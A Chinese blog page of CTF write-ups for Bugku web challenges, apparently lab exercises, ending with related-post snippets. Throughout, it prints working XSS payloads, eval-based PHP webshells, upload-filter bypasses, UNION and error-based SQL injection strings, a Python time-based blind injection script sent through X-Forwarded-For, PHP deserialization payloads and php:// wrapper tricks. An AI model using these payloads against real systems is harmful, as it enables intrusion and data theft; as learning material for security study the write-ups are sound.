2. 程式人生 > >bugku Web write up 二

bugku Web write up 二

阿新 • • 發佈：2019-01-08

XSS

先來最簡單的彈窗

?id=<srcipt>altert(/xss/)</script>

檢視原始碼
這裡寫圖片描述
發現<>被過濾掉了
這裡學到一個技巧，就是用Unicode編碼繞過
payload:?id=\u003cimg src=1 onerror=alert(_key_)\u003e

速度要快

這種題就是程式設計題
上指令碼，注意這題是用margin。。。。檢視原始碼可知
這裡寫圖片描述

#coding:utf-8
import requests
import base64

url ='http://120.24.86.145:8002/web6/'

r =requests.session()

headers
 
 = r.get(url).headers
#flag = head['Flag'].split(':')[0]   注意response的鍵
#print flag

flag = base64.b64decode(base64.b64decode(headers['flag']).split(':')[1])
data={'margin':flag}
print r.post(url=url,data=data).content #.text

字元？正則？

進去一看是條程式碼審計題目
這裡寫圖片描述
這裡加上別人跟自己對於正則的常規總結

1.表示式直接寫出來的字串直接利用，如key
2.“.”代表任意字元
3.“*”代表一個或一序列字元重複出現的次數，即前一個字元重複任意次，這裡可以是0次，還有就是以'^'開頭，以'$'結束
4.“\/”代表“/”，一種轉義，因為單獨的//代表著正則的開始與結束
5.[a-z]代表a-z中的任意一個字元
6.[[:punct:]]代表任意一個字元，包括各種符號，記得是符號
7./i代表大小寫不敏感
8.{4-7}代表[0-9]中數字連續出現的次數是4-7次
9.\s匹配任意的空白符
10.\d   匹配數字
11.\b   匹配單詞的開始或結束

自己的payload:?id=keyakey1111key:/a/[email protected]

Web8

這個題目又學到了新知識
利用了file_get_contents的特性，當用到php://input的時候，file_get_contents支援位元組流輸入，只要構造php://input,且post資料過去即可
payload:?ac=1&php://input然後再post一個 1即可

求getshell

這一道題目又學到新知識。。。。
用PHP別名來繞過。。。php2, php3, php4, php5, phps, pht, phtm, phtml
然後參考了大佬們的wp
發現這一題還要把Content-Type: multipart/form-data; 改成大小寫繞過的形式，改為Content-Type: Multipart/form-data;
然後用別名去嘗試php5的時候出現flag
這裡寫圖片描述

never give up

檢視原始碼，發現有一個1p.html
開啟一看裡面有js程式碼，直接放到控制檯裡面看一下
發現跳轉到論壇，然後不知道要幹嘛。。。。。
還是先轉義一下那段東西吧，先urldecode，再發現裡面有base64，然後再一次urldecode發現一段程式碼
這裡寫圖片描述
這裡寫圖片描述
發現有一個txt檔案，不管那麼多，先訪問一下
得到flag

過狗一句話

這個一句話是get方式傳送資料
先了解一些函式
phpinfo()函式檢視資訊
看看根目錄下有哪些檔案

print_r(scandir("./"))
print_r(glob("*"))

發現有一個flag.txt，直接訪問即可，也可以用下面的函式打印出來
一些常用的輸出檔案內容

print_r(file('flag.txt')),這裡的print_r換成var_dump也行
show_source("flag.txt")

這裡寫圖片描述

flag.php

因為題目提示hint，於是就輸入?hint
這裡寫圖片描述
原來是程式碼審計題目
考了一個反序列化的知識點
構造payload,但是注意程式碼中if-else的範圍，倒數第二行中確實為變數KEY賦值了，但是它是在另一個else裡
在進行嚴格比較前，變數KEY的值並沒有被賦值
所以KEY為空值
然後在bp上構建payload
這裡寫圖片描述

備份是個好習慣

開啟一看一串東西，題目不是說是備份是個好東西嗎。。備份的話就會想到原始碼洩露之類的東西，這裡介紹一個好用的東西
SourceLeakHacker
上去一掃，發現檔案
這裡寫圖片描述
這裡寫圖片描述
兩種payload:
第一種是利用MD5函式返回false的，第二種是弱型別，MD5之後是0e開頭的

?kkeyey1[]=1&kkeyey2[]=2
?kkeyey1=QNKCDZO&kkeyey2=s878926199a

秋名山老司機

指令碼題。。。。這是某位大佬的程式碼

import re
import requests

s = requests.Session()
r = s.get("http://120.24.86.145:8002/qiumingshan/")
searchObj = re.search(r'^<div>(.*)=\?;</div>$', r.text, re.M | re.S)
d = {
    "value": eval(searchObj.group(1))
}
r = s.post("http://120.24.86.145:8002/qiumingshan/", data=d)
print(r.text)

孫xx的部落格

找來找去頁面就發現這種東西
這裡寫圖片描述
然後掃描以下網站
發現以下幾個網站
這裡寫圖片描述
其中最有利用價值的是phpmyadmin，用剛才的那個wp那個東西登入即可。。
這裡寫圖片描述

sql注入2

這題真是太坑。。。。哪有什麼注入。。。
我是看到別人wp說直接掃目錄即可。。。
找到一個叫flag的東西下載下來，真的氣死

這是一個神奇的登入介面

簡單的post注入，什麼過濾都沒有。。。
先嚐試” 報錯，然後構造語句

admin_name=-1" union select order by 2#&admin_passwd=&submit=GO GO GO
admin_name=-1" union select 1,2#&admin_passwd=&submit=GO GO GO     確定回顯
admin_name=-1" union select database(),2#&admin_passwd=&submit=GO GO GO
admin_name=-1" union select group_concat(table_name),2 from information_schema.tables where table_schema=daTABASE()#&admin_passwd=&submit=GO GO GO

這裡寫圖片描述

admin_name=-1" union select group_concat(column_name),2 from information_schema.columns where table_name='flag1'#&admin_passwd=&submit=GO GO GO

這裡寫圖片描述

admin_name=-1" union select flag1,2 from `flag1`#&admin_passwd=&submit=GO GO GO

這裡寫圖片描述

檔案包含二

兩種繞過方法

<?[email protected]eval($_POST['cmd']);
<script language="php">eval($_POST['cmd']);</script>

然後就是upload.php中是不能以php執行的

SQL約束攻擊

welcome to bugku

抓包發現原始碼

<!--  
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  

if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  
 -->

出現file_get_contents，繞過第一層，然後用偽協議讀取檔案
這裡寫圖片描述
得到base64編碼然後解碼得到下面的程式碼


     <?php  

class Flag{//flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("good");
        }  
    }  
}  
?>

感覺還是少了點東西，再用同樣的方法檢視index.php
這一下就感覺比較全了

<?php  
$txt = $_GET["txt"];  
$file = $_GET["file"];  
$password = $_GET["password"];  

if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){  
    echo "hello friend!<br>";  
    if(preg_match("/flag/",$file)){ 
        echo "不能現在就給你flag哦";
        exit();  
    }else{  
        include($file);   
        $password = unserialize($password);  
        echo $password;  
    }  
}else{  
    echo "you are not the number of bugku ! ";  
}  

?>  

<!--  
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  

if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}

這裡看到unserialize就知道想要考察反序列化漏洞
從hint.php知道這個類，我們就可以構造一個類然後在echo函式呼叫後去呼叫__tostring()函式,然後讀取檔案
這裡是我構造的類

class Flag{//flag.php  
                public $file;  
          }  

$a= new Flag();
$a->file = 'flag.php';
print _r(serialize($a));

最後另password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}，發包得到flag
這裡寫圖片描述

有時候不一定構造類，普通的陣列也行，最近在實驗吧做題遇到了一題直接用陣列反序列化的題目。。。還是要看清楚題目要沒有給你類之類的

INSERT INTO注入

這一個題目讓我重新複習了一波python指令碼啊！！！

我們檢視原始碼

error_reporting(0);

function getIp(){
    $ip = '';
    if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
        $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
    }else{
        $ip = $_SERVER['REMOTE_ADDR'];
    }
        $ip_arr = explode(',', $ip);
        return $ip_arr[0];

}

$host="localhost";
$user="";
$pass="";
$db="";

$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");

mysql_select_db($db) or die("Unable to select database");

$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);

這段程式碼大概意思就先是獲取IP。但是在explode(',', $ip)這裡以”,”給分割了，導致後面的語句不能使用有逗號的，也就是不能用limit1.2之類的，報錯什麼的都不行，所以只能延時盲注，所以我們用下面的程式碼段


select substring((select user()) from 1 for 1);  #第一種方法
select substring((select user()) from -1);  #第二種方法

這裡利用了XFF的注入，用了一個新語句

select case when (條件) then 程式碼1 else 程式碼 2 end

原理大概就是利用11+false/true去進行判斷，一旦是true，就與timeout=3相違背，從而執行except下面的函式，就可以跑出flag

直接放程式碼

import requests
import string 
author = '0verWatch'
print author
mystring = string.ascii_letters+string.digits
url='http://120.24.86.145:8002/web15/'
data = "11'+(select case when (substring((select flag from flag) from {0} for 1)='{1}') then sleep(5) else 1 end) and '1'='1"  #這裡的{}對應的是後面所需要的format
flag = ''

for i in range(1,35):
    for j in mystring:
        try:
            headers = {'x-forwarded-for':data.format(str(i),j)}
            res = requests.get(url,headers=headers,timeout=3)
        except requests.exceptions.ReadTimeout:
            flag += j
            print flag
            break

print 'The final flag:'+flag

多次

這個題目感謝一下超哥的指導
我們進去之後先測試一波
開始輸入 ?id=1’頁面返回錯誤(但不是報錯資訊)，新增 ?id=1’%23則沒有報錯猜測應該是單引號閉合，繼續嘗試 ?id=1’ and 1=1%23則又開始報錯了,

這裡學到一種新的注入方式異或注入
id後面輸入 1’^(0)^’，此時頁面正常返回，如果換一下 ‘^(1)^’，此時則會返回錯誤，那麼接下來我們就可以試一下頁面究竟過濾了那些關鍵字。比如 1’^(length(‘select’)=6)^’
測試這個select應該是被過濾的了，實現的語句應該是id=1'^0^0,有過濾返回正確，而無過濾的時候就會返回錯誤
測試得到以下關鍵字被過濾

select,union,or,and

我們先嚐試用seselectlect這樣的形式過濾，怎麼測試呢，也是剛才的語句 1’^(length(‘seselectlect’)=6)^’這裡返回了錯誤，說明繞過成功了

下面就是常規操作

?id=1' oorrder by 3%23   # 爆欄位數
?id=-1' ununionion seleselectct 1,database() %23

注意information的繞過

?id=-1' ununionion seselectlect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database() %23

?id=-1' ununionion seleselectct 1,group_concat(address) from flag1%23

最後得到下一個頁面的地址

在一次嘗試，發現這個頁面是個報錯注入，多次嘗試發現union關鍵字被過濾，一旦union被過濾我們只能用報錯注入的方法，一步步來了

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)%23
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=flag2),0x7e),1)%23
?id=1' and updatexml(1,concat(0x7e,(select flag2 from flag2),0x7e),1)%23

得到flag，注意提交flag的格式全部都是小寫
總的來說這個題還是學到很多的，一是通過異或注入判斷過濾的關鍵字，二是在union被過濾的情況之下要想到報錯注入的方式

這裡寫圖片描述

還沒做完，有待更新。。。。

相關推薦

bugku Web write up 二

XSS 先來最簡單的彈窗 ?id=<srcipt>altert(/xss/)</script> 檢視原始碼 發現<>被過濾掉了 這裡學到一個技巧，就是用Unicode編碼繞過 payload:?id=\u0

南郵CTF-WEB-write-up 教程詳細解說

單身一百年也沒用 傳送門：biu~ 單擊之後，跟我說沒有key 這種題目就直接用burpsuit抓包，觀察請求迴應資訊 答案很明顯了，flag出來了 Download~! 想下啥就下啥~別下音樂，不騙你，試試下載其他東西

bugku Misc write up

簽到題 直接關注公眾號即可，不多說 這是一張單純的圖片 開啟拉到最後發現Html編碼，上python指令碼。。。。 str2 = '你看到的編碼' from HTMLParser import HTMLParser h = HTMLPars

Bugku-WEB-never give up（重定向）

題目： 開啟控制檯可以看到一處提示。嘗試開啟這個頁面 被跳轉到了社群論壇，應該是有window.location.href 之類的重定向 http://www.cnblogs.com/Qian123/p/5345298.html#_label2&nbs

bugku 程式碼審計 write up

extract變數覆蓋 查一下php手冊 本函式用來將變數從陣列中匯入到當前的符號表中。 返回成功匯入到符號表中的變數數目。 而且這個函式沒還有任何引數，很危險，直接可以修改衝突的變數 關鍵的程式碼 構建的payload: ?shiyan

百度杯CTF Write up集錦 WEB篇

九月場 1.code 一開始的URL為 http://ace3c302efed4a9094cbac1dff0250e8add1b4b45f8249d4.game.ichunqiu.com/index.php?jpg=hei.jpg 嘗試著令

pwnable.kr bof之write up

car stdio.h ble str 不同 -1 [] 得到 imp 這一題與前兩題不同，用到了靜態調試工具ida 首先題中給出了源碼： 1 #include <stdio.h> 2 #include <string.h> 3 #

reversing.kr easy crack 之write up

階段 clas 跳轉 開始 ack flag http sin pre 之前學逆向感覺學得一踏糊塗，這階段好多師傅帶我，一定要好好學，重新開始，認真學習。 來看打開可執行文件： 用ollydbg載入，單步執行後停到了入口點： 分析入口點，並沒有加殼，於是F9執行程序，跳

pwnable.kr lotto之write up

write char tail 技術 match ima style string sign 源代碼 ： #include <stdio.h> #include <stdlib.h> #include <string.h> #

pwnable.kr cmd1之write up

變量 雙引號 inux ron argv enter nbsp cnblogs linux通配符 看一下源代碼： 1 #include <stdio.h> 2 #include <string.h> 3 4 int filter(char

python web筆記（二）

pythonpython web筆記（二）=================================================================================================三、Django創建App========================

用 Spring Boot 實現電商系統 Web API （二）創建多模塊項目

ble jin play 正常 ota autowired ips 功能 bind 大型項目，需要將代碼按不同功能，分成不同模塊，這樣比較好管理和閱讀代碼，也有助於多人協作。 一、項目結構 1.1 模塊說明 項目分成5個模塊，分別如下： 模塊名稱 說明 webapi

Asp.Net Web API（二）

default exceptio 服務器 路由 回復 事情 http響應 images art 創建一個Web API項目 第一步，創建以下項目 當然，你也可以創建一個Web API項目，利用 Web API模板，Web API模板使用 ASP.Net MVC提供AP

Web網站服務(二)

allow directory 數據庫 ssl 主配置文件 基於ip地址 roo root 權限 1.httpd服務的訪問控制作用:?控制對網站資源的訪問為特定的網站目錄添加訪問授權常用訪問控制方式:客戶機地址限制用戶授權限制2、基於客戶端地址的訪問控制:

用ASP.NET Core MVC 和 EF Core 構建Web應用 （二）

work nal nta 多個 包括 catch web 應用 自動 選項卡 本節學習如何執行基本的 CRUD （創建、 讀取、 更新、 刪除） 操作。 自定義“詳細信息”頁 學生索引頁的基架代碼省略了 Enrollments 屬性，因為該屬性包含一個集合。 在“詳細信息”

【溫故知新】從零開始搭建 java web項目(二)

添加 以及 pro tps ren 處理方法 獲取 mapping 映射 系列一介紹了新建一個 web 項目的基本步驟，系列二就準備介紹下基本的 jsp 和 servlet 使用。 （關於jsp的編譯指令、動作指令、內置對象不在本文討論範圍之內） 1. 首先，在 pom.

Web筆記（二）Tomcat 使用總結

在一起 develop container rec data- gin jpg 之間 解壓縮 Tomcat 介紹 Tomcat是由Apache軟件基金會下屬的Jakarta項目開發的一個Servlet容器，按照Sun Microsystems提供的技術規範，實現了對Serv

Bugku—web—web3（wp）

0x00 前言 這是Bugku中web中的web3的題目。 0x01 解題過程 1.點選這個網址，會出現一個介面，無論點選哪裡都關不掉。 2.考慮這是瀏覽器指令碼的設定因素，可以關閉你瀏覽器裡指令碼的在設定採用禁用。 3. 關閉指令碼後，再開啟網址，發現是一片空白，於

BugKu Web WP2

Web 8 這道題的程式碼和前面的檔案包含寫的思路一樣， 我們都是運用  php://input 寫，來實現我們從檔案中讀出的資料和我們傳入的資料一樣。 我寫的如下：  只要保證  $ac  的值 和我們寫入檔案  $fn 的值 一樣即可，

BugKu Web WP

變數1 這道題要好好說一下，因為以前不太知道這個套路。 我們來看看原始碼： 這個程式碼最重要的兩部分：一是 正則匹配，對我們輸入的進行檢查。  二是  var_dump($$args)  這句程式碼。 我們可以想到 如果我們的 $args 的值 剛